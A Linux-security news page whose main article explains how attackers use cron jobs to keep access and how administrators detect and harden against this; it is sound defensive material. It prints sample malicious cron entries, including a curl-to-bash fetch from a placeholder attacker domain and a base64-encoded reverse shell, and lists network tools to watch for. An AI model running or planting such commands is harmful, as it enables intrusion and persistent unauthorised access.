Security Vulnerabilities 
security advisory zero-day
security advisory zero-day CISA added CVE-2026-11645 to its Known Exploited Vulnerabilities catalog after Google confirmed active exploitation of the flaw. The bug sits in V8, the JavaScript engine behind Chrome and Chromium. . That's where this gets more interesting. Most coverage will focus on Chrome because that's where the patch landed. But the affected component is V8. Chromium relies on it. Electron relies on it. Plenty of desktop software Linux users interact with every day relies on it too, often without much...
Jun 10, 2026
Network Securitysecurity advisory networking
security advisory networking For years, IPv4 was the only proxy type that really mattered for anyone running automation off a Linux box. IPv6 was the protocol everyone said they’d migrate to, but almost nobody actually did. In 2026, that’s finally starting to shift. . The problem is that most admins stick with IPv4 out of habit. They know it; it’s what their tooling defaults to, and they don’t see a reason to change. Some are overpaying for addresses they don’t need. Others would quietly break their scrapers, scripts, or...
Jun 09, 2026
Network Securityopen-source python
open-source python Researchers recently identified another wave of malicious packages on PyPI linked to the broader Mini Shai-Hulud campaign, a worm-like supply chain attack that spread through trusted software packages. On the surface, the packages looked no different from thousands of others published to the repository each week. . Instead of trying to break into a target network directly, the attackers hid malicious code inside software that developers were already using. A few downloads are all it takes....
Jun 09, 2026
Security Vulnerabilities malware linux
malware linux IronWorm steals credentials and uses them to spread beyond the original victim, turning developer access into a supply chain risk. . A new campaign targeting npm has evolved past simple credential theft. Researchers identified IronWorm, a self-spreading threat. It harvests high-value Linux development secrets—SSH keys, cloud tokens, package publishing credentials. One compromised workstation becomes a launchpad for downstream supply chain attacks. This is not a get-in-and-get-out operation....
Jun 08, 2026
Network Securitysystem security Linux network
system security Linux network The romanticized image of the digital nomad – a laptop on a sun-drenched balcony – rarely accounts for the actual friction of maintaining a professional development environment on the move. . The friction is amplified with Linux. We are looking for a setup that respects our kernel configurations, handles volatile network handovers, and maintains a strict security posture without the hand-holding of a consumer-grade OS – so, put simply, more than just a laptop and a sunny deck. The hardware is...
May 26, 2026
Refine news
X Clear Filters
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Loading...
Explore Latest Linux Security news
We found -3 articles for you...
77
open-sourceLinux administrationsystem securityMisuse of Cron Jobs for Long-Term Access in Linux Environments
Cron has existed in Unix and Linux environments for decades, handling backups, cleanup scripts, patching jobs, log rotation, monitoring tasks, and other maintenance work that administrators do not want to run manually. Most Linux servers rely on it constantly, which is exactly why attackers continue abusing it for persistence after a system has already been compromised. . Persistence through cron is not complicated. Attackers do not need a rootkit or advanced malware framework to maintain access to a Linux host. A single scheduled task can relaunch a reverse shell, download a payload again after defenders remove it, or reconnect to attacker infrastructure every few minutes. Because cron already belongs in production systems, malicious jobs often blend into legitimate administrative activity. Many Linux environments still receive less monitoring than Windows systems, especially in smaller organizations or cloud deployments where administrators focus more on uptime than host-level security visibility. That creates an opening for attackers because scheduled tasks may continue running for weeks or months before anyone notices unusual outbound traffic, high CPU usage, unauthorized scripts, or recurring malware infections. Why Attackers Use Cron for Persistence Attackers need reliable access after the initial compromise. The original exploit only gets them into the system once. Persistence keeps the foothold alive after reboots, service restarts, password changes, or partial cleanup attempts by administrators. Cron works well for that because it automatically executes commands at scheduled intervals without requiring the attacker to stay connected interactively. Once a malicious cron entry exists, the system itself continues launching the attacker’s commands repeatedly. A cron job can: Restart malware after reboot Download payloads from remote infrastructure Recreate deleted files Maintain reverse shells Launch data exfiltration scripts Re-add unauthorized SSH keys Modify sudo rules for privilege escalation Most Linux distributions include several cron locations by default: /etc/crontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /var/spool/cron/ /var/spool/cron/crontabs/ Each location creates another persistence opportunity because attackers only need write access to one of them. A compromised web application account may not have full root privileges, but it may still control a writable user crontab that executes commands regularly. Administrators investigating a compromised system often focus first on active processes, suspicious binaries, or network connections. Cron persistence survives because the malicious code may only execute once every few minutes or once every few hours, leaving very little visible activity between executions. How Cron Persistence Usually Appears on Compromised Systems The simplest cron persistence method still appears constantly during Linux incident response cases. An attacker creates a scheduled task that launches a malicious script every minute. * * * * * /tmp/update.sh That script may reconnect to a command-and-control server, reinstall deleted malware, or download additional payloads if the original files disappear. Administrators sometimes remove the visible malware without removing the cron entry itself, which allows the compromise to restore itself automatically. Attackers also use short one-line commands that pull malicious scripts directly from remote servers: */5 * * * * curl -fsSL http://malicious-domain/payload.sh | bash The command itself may look harmless to inexperienced administrators because curl and bash appear constantly in legitimate Linux workflows. During a rushed investigation, it is easy to overlook a scheduled task that resembles an automated update script. Encoded commands appear frequently as well because attackers try to hide payloads from casual inspection. * * * * * echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64-d | bash An administrator quickly reviewing cron entries may not immediately decode the command or recognize that it launches a reverse shell. Temporary directories also appear constantly in Linux persistence cases: /tmp/ /var/tmp/ /dev/shm/ Those locations are attractive because they are writable and commonly used by legitimate applications. Attackers place scripts there because administrators may ignore temporary storage during routine system reviews. Why Root Cron Jobs Become More Dangerous User-level persistence already creates security problems, but root cron jobs change the impact significantly because the scheduled task executes with full system privileges. If attackers compromise a root-owned service or abuse weak sudo permissions, they may gain the ability to modify system-wide cron locations such as: /etc/crontab /etc/cron.d/ At that point, the scheduled task can: Create hidden administrator accounts Alter authentication files Disable security tools Change firewall rules Install additional malware Modify startup scripts Tamper with logs The persistence becomes harder to remove because the attacker can continuously restore changes after defenders attempt to clean up. A common mistake during incident response is deleting suspicious binaries while leaving the cron mechanism untouched. The malware returns minutes later because the scheduled task simply downloads or recreates the payload again. What Suspicious Cron Activity Looks Like Most legitimate cron jobs follow predictable administrative patterns. They launch backup scripts, rotate logs, run monitoring checks, or execute maintenance tasks from known application directories. Malicious cron entries usually stand out once administrators know what to examine carefully. Very frequent execution intervals deserve attention. * * * * * Legitimate business applications rarely need to execute shell scripts every single minute unless the system performs monitoringor synchronization tasks. Attackers prefer short intervals because persistence becomes more reliable when the payload is constantly relaunching. Commands involving outbound network connections should also raise suspicion: curl wget nc bash -i python -c perl -e These tools are legitimate on Linux systems, but scheduled tasks that repeatedly contact external IP addresses or unknown domains deserve investigation. Execution from temporary directories is another warning sign because production automation usually executes from controlled application paths rather than user-writable storage locations. Encoded commands should also be reviewed carefully. Attackers commonly use Base64 encoding to hide reverse shells, downloader scripts, or command pipelines that would otherwise look suspicious during quick reviews. File ownership changes matter too. If a cron file suddenly changes ownership or modification time after a web server compromise, administrators should determine which process modified it and whether unauthorized access has already occurred. Where Administrators Should Look First The first step is reviewing active cron jobs directly . crontab -l System-wide scheduled tasks should also be inspected carefully: cat /etc/crontab ls -la /etc/cron.d/ ls -la /var/spool/cron/ Do not stop after reviewing the root account. Attackers often use service accounts because they attract less scrutiny during investigations. Accounts tied to web applications or backend services frequently become persistence points after a compromise. Common targets include: nginx apache www-data tomcat Review modification timestamps while investigating suspicious entries. stat /etc/crontab stat /var/spool/cron/root Unexpected timestamp changes often help establish when persistence was added and whether it aligns with other suspicious activity on the host. Linux logs may also reveal cron execution history if logging isenabled: grep CRON /var/log/syslog grep CRON /var/log/cron journalctl | grep CRON Administrators should compare cron activity against normal operational behavior. A backup script executing nightly is expected. A scheduled task launching curl against an external IP every minute is not. Why Cron Persistence Is Often Missed Cron itself is legitimate infrastructure, which makes malicious activity harder to identify quickly. Large Linux environments may contain hundreds of scheduled tasks across servers, applications, containers, and maintenance systems. Attackers rely on that administrative noise . A malicious cron job may resemble: patch automation monitoring scripts software updates synchronization tasks deployment scripts During incident response, administrators already deal with large amounts of log data, active alerts, filesystem changes, and compromised accounts. Scheduled tasks sometimes receive less attention because they appear routine at first glance. Linux environments also vary heavily between organizations. Some companies maintain centralized logging and detailed auditing. Others rely mostly on local logs stored directly on individual servers. If logging retention is weak or systems are rebuilt frequently, investigators may never see when the malicious task first appeared. Containers complicate investigations further because scheduled tasks inside short-lived workloads may disappear before administrators begin forensic analysis. Attackers increasingly abuse containers because rebuilding the environment may erase useful evidence while leaving the original persistence mechanism elsewhere in the infrastructure. Hunting for Cron-Based Persistence Administrators should monitor cron locations for unexpected changes and review newly created scheduled tasks carefully. Linux audit rules can help track modifications: auditctl -w /etc/crontab -p wa auditctl -w /etc/cron.d/ -p wa These rules generate logs whenever cron files aremodified or written to, which helps investigators determine when persistence was added and which account performed the change. Process monitoring also matters because cron-launched malware often spawns suspicious commands: bash curl python nc wget If a scheduled task repeatedly launches outbound connections or executes scripts from temporary directories, administrators should inspect the parent cron entry immediately. OSQuery can help enumerate active scheduled tasks across Linux systems: SELECT * FROM crontab; Administrators should also compare cron activity against known maintenance schedules. If a server suddenly begins executing previously unknown tasks overnight or after a compromise event, the scheduled jobs deserve review even if the commands initially appear harmless. Hardening Linux Systems Against Cron Abuse Restricting cron access reduces the number of accounts capable of creating scheduled tasks after a compromise. Linux systems support access control files, such as: /etc/cron.allow /etc/cron.deny Administrators should avoid allowing unnecessary service accounts to create cron jobs because compromised web applications frequently become persistence points. File permissions matter as well. Production automation should execute from controlled directories with predictable ownership instead of temporary storage locations such as: /tmp/ /var/tmp/ /dev/shm/ Administrators should review sudo permissions carefully because weak sudo rules often allow attackers to modify root-owned cron entries after gaining limited access. Centralized logging also improves investigations significantly because local logs alone may disappear during rebuilds, crashes, or cleanup attempts. Retaining cron execution history helps administrators identify when persistence began and whether multiple systems were affected. Cron should not be the only persistence mechanism investigators search for during incident response. Attackers commonlycombine scheduled tasks with: unauthorized SSH keys startup script modifications hidden user accounts web shells altered system services Removing the visible malware without identifying every persistence method often leads to reinfection later. Final Thoughts Cron persistence remains effective because scheduled tasks already belong inside the Linux infrastructure. Administrators expect automation to execute constantly across production systems, which gives attackers an opportunity to hide malicious commands among legitimate operational activity. A single cron entry can maintain access long after the original compromise occurred. Malware reappears after cleanup, reverse shells reconnect automatically, and unauthorized scripts continue running quietly in the background because the persistence mechanism itself still exists. Linux administrators do not need advanced forensic tooling to begin checking for cron abuse. Reviewing scheduled tasks, inspecting writable directories, monitoring outbound connections, and auditing cron modifications already help reduce the chance that persistence survives unnoticed for months inside production systems. Related Reading Understanding Linux Persistence Mechanisms and Detection Tools Linux Attackers Use SSH Legitimate Tools to Evade Detection CRON#TRAP Malware: Emulated Linux Attack Techniques Revealed Hackers Exploit Old Apache Flaw to Deploy Linuxsys Cryptominer Emerging ClickFix Attacks Are Now Targeting Linux Systems . Learn about how attackers leverage cron jobs for persistence on Linux systems and effective mitigation strategies.. cron jobs security persistence techniques Linux. . Dave Wreski
May 25, 2026
•
Server Security
83
malwarelinuxbackdoorFree Download Manager Breached: Three Years of Malware on Linux
Researchers discovered a free download manager site that has been compromised to serve Linux malware to users for more than three years. . Researchers from Kaspersky discovered a free download manager site that has been compromised to serve Linux malware. While investigating a set of suspicious domains, the experts identified that the domain in question has a deb.fdmpkg[.]org subdomain. Visiting the subdomain with the browser, the researchers noticed a page claiming that the domain is hosting a Linux Debian repository of software named ‘Free Download Manager’. This package turned out to contain an infected postinst script that is executed upon installation. This script drops two ELF files to the paths /var/tmp/crond and /var/tmp/bs. It then establishes persistence by creating a cron task (stored in the file /etc/cron.d/collect) that launches the /var/tmp/crond file every 10 minutes.” reported Kasperksy. The “Free Download Manager” version installed by the malicious package was released on January 24, 2020. The experts found comments in Russian and Ukrainian, including information about improvements made to the malware, in the postinst script. . Cybersecurity analysts from Kaspersky have revealed a prolonged breach lasting three years that distributed Linux malware through a hacked download manager platform.. Linux Malware Threats, Backdoor Exploits, Compromised Software, Security Risks. . LinuxSecurity.com Team
Sep 16, 2023
•
Hacks/Cracks
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Search Topics
Powered By
Linux Security - Your source for Top Linux News, Advisories, HOWTOs and Feature Releases
QUICK LINKS
subscribe to newsletters!
Like staying secure? So do we.
Sign up for updates, tips, and alerts!
Discover faster search, smarter navigation, and deeper Linux security insights. Read More